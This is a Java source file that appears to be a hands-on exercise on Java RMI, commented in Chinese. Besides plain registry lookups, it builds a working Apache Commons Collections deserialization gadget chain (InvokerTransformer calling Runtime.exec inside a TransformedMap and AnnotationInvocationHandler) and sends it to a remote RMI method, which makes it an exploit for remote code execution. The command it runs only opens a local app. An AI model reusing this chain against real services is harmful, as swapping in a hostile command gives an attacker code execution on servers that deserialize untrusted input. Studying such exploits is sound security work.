package rmi;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.io.IOException;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.net.ContentHandler;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.*;

public class ClientRmi {

  public static void main1(String[] args) throws RemoteException, NotBoundException {
    Registry registry = LocateRegistry.getRegistry("localhost", 1099);//获取远程主机对象
    // 利用注册表的代理去查询远程注册表中名为hello的对象
    RmiDemo hello = (RmiDemo) registry.lookup("hello");
    // 调用远程方法
    System.out.println(hello.hello());
  }

  public static void main2(String[] args) throws Exception {
    String url = "rmi://127.0.0.1:1099/User";
    String[] s = Naming.list(url);
    for (String s1 : s) {
      System.out.println(s1);
    }

    // 可以使用Naming调用
//    ServletRmi.User userClient = (ServletRmi.User) Naming.lookup(url);

    // 也可以使用上面的方法
    Context context = new InitialContext();
    ServletRmi.User userClient = (ServletRmi.User) context.lookup(url);

    System.out.println(userClient.name("lala"));
    userClient.say("world");
    userClient.dowork(getpayload());
  }

  public static Object getpayload() throws Exception {
    Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /Applications/WeChat.app"})
    };


    Transformer transformerChain = new ChainedTransformer(transformers);

    Map map = new HashMap();
    map.put("value", "lala");
    Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    ctor.setAccessible(true);
    Object instance = ctor.newInstance(Target.class, transformedMap);
    return instance;
  }

  public static void main(String[] args) throws Exception{

//    try {
//      Runtime.getRuntime().exec("open /Applications/WeChat.app");
//      System.out.println("远程脚本执行~");
//    } catch (IOException e) {
//      e.printStackTrace();
//    }

    Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
    //System.out.println(runtime.getClass().getName());
    Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"open /Applications/WeChat.app");
  }

}
